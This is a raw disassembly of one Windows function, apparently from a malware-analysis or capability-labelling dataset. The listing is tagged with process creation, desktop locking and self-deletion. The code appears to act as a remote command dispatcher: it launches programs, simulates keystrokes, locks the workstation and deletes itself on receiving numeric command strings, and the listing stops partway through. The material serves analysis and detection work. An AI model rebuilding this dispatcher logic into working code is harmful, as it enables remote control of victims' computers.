Function at 0x1000859a
Capabilities:
Create process on windows
Get common file path
Lock the desktop
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.100b8c3f
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0x100d5289
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
cmp dword [ebp + 0x10], 3
jne 0x10008618
call fcn.10002332
jmp 0x1000d0f9
cmp dword [ebp + 0x10], 2
jne 0x1000d0f9
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1000d1a4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10008644
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x10008667
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a0
call fcn.100bb760
add esp, 0x1c
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10008690
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100086b6
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100086ca
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100086e1
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x38], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fsub qword [0x100d58ef]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1000872c
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a4
call fcn.100bb790
add esp, 0x1c
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10008756
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0x100d58f7
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100087c4
mov dword [0x100e6961], 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10008790
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.1000d27c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100087bf
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
push str.222222
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100087e7
call fcn.1000d52b
jmp 0x1000d0f9
push str.333333
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000881e
mov dword [0x100e6961], 0
call fcn.1000d4ce
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.444444
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008906
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000884a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10008885
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100088ab
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x100088cd
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x100088c9
imul eax, dword [ebx]
jmp 0x100088be
mov ecx, eax
test ecx, ecx
je 0x100088ec
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100088e5
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x100088d3
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
call fcn.1000d6ce
jmp 0x1000d0f9
push str.555555
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008924
jmp 0x1000d0f9
push str.666666
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008add
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10008950
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000898b
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100089b1
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x100089d3
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x100089cf
imul eax, dword [ebx]
jmp 0x100089c4
mov ecx, eax
test ecx, ecx
je 0x100089f2
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100089eb
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x100089d9
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10008a26
push 0x471
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10008a56
push 0x4b5
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x10008a73
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], esp
push dword [ebp - 0x38]
push 0
push 0
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0x100d5921
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x10008ace
push 0x4b5
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.110064
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008b00
call fcn.1000e6fb
jmp 0x1000d0f9
push str.110065
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008b23
call fcn.1000e786
jmp 0x1000d0f9
push str.110066
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008b41
jmp 0x1000d0f9
push str.110067
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008b5f
jmp 0x1000d0f9
push str.110073
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008c35
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53b6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x10008bab
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
je 0x10008c30
mov dword [ebp - 0x30], esp
lea eax, [ebp - 0x14]
push eax
xor eax, eax
call dword [0x100e6b79]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008bf8
push 0x688
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
cmp dword [ebp - 0x14], 0
je 0x10008c30
mov dword [ebp - 0x30], esp
push 0
xor eax, eax
call dword [0x100e6b7d]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008c30
push 0x6c9
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.110074
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008cd4
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53b6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x10008c81
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
je 0x10008ccf
mov dword [ebp - 0x30], esp
push 1
xor eax, eax
call dword [0x100e6b7d]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008ccf
push 0x79f
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.110068
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008de6
mov dword [ebp - 0x30], esp
push 0
push 0
push 0
push 0x12
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008d2a
push 0x80c
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0
push 0
push 0
push 0x73
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008d67
push 0x843
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0
push 2
push 0
push 0x12
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008da4
push 0x87a
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0
push 2
push 0
push 0x73
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008de1
push 0x8b1
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.110069
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008ebb
mov dword [ebp - 0x30], esp
push 0
push 0
push 0
push 0x5b
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008e3c
push 0x91b
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0
push 0
push 0
push 0x44
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008e79
push 0x952
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x30], esp
push 0
push 2
push 0
push 0x5b
xor eax, eax
call dword [sym.imp.USER32.dll_keybd_event]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008eb6
push 0x985
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.110070
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008f02
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [sym.imp.USER32.dll_LockWorkStation]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10008efd
push 0x9ef
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.110013
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008f6e
cmp dword [0x100e6965], 0
je 0x10008f32
call fcn.1000e7cc
jmp 0x10008f69
mov ebx, 6
call fcn.100039cf
push reloc.WS2_32.dll_getsockname
push 0
push 0x1001ca76
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
mov dword [0x100e6965], 1
jmp 0x1000d0f9
push str.110015
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008f91
call fcn.1000e7cc
jmp 0x1000d0f9
push str.110016
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10008fc8
mov dword [0x100e6965], 0
call fcn.100107cb
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push str.110040
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10009daf
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10008ff4
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10009029
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000904f
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d5981
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000907d
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x10009256
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000909a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
mov eax, 0x100d598a
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
lea eax, [ebp - 0x30]
push eax
call fcn.10010982
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10009170
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10009180
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10009190
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100091a0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100091b0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100091c0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100091d0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x100091e0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100091f0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10009200
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10009210
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10009223
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10009249
push ebx
call fcn.100b8c45
add esp, 4
push dword [ebp - 0x6c]
call fcn.10006962
jmp 0x10009daa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10009269
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x70]
test eax, eax
jne 0x1000929e
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x100092c4
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d5994
push dword [ebp - 0x74]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x100092f2
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x100094d0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000930f
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
mov eax, 0x100d599d
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
lea eax, [ebp - 0x30]
push eax
call fcn.10010982
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100093e5
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100093f5
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10009405
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10009415
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10009425
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10009435
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10009445
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10009455
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10009465
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10009475
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10009485
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10009498
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x100094be
push ebx
call fcn.100b8c45
add esp, 4
push 1
push dword [ebp - 0x6c]
call fcn.10010f49
jmp 0x10009daa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100094e3
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x70]
test eax, eax
jne 0x10009518
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x1000953e
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d59a7
push dword [ebp - 0x74]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x1000956c
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x10009745
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10009589
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
mov eax, 0x100d59b2
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
lea eax, [ebp - 0x30]
push eax
call fcn.10010982
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000965f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1000966f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1000967f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1000968f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1000969f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100096af
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100096bf
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x100096cf
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100096df
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100096ef
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100096ff
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10009712
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10009738
push ebx
call fcn.100b8c45
add esp, 4
push dword [ebp - 0x6c]
call fcn.10010f8c
jmp 0x10009daa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10009758
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x70]
test eax, eax
jne 0x1000978d
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x100097b3
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d59be
push dword [ebp - 0x74]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x100097e1
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x100099c6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100097fe
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
mov eax, 0x100d59c9
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
lea eax, [ebp - 0x30]
push eax
call fcn.10010982
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100098d4
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100098e4
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100098f4
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10009904
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10009914
push ebx
call fcn.100b8c45
add esp, 4
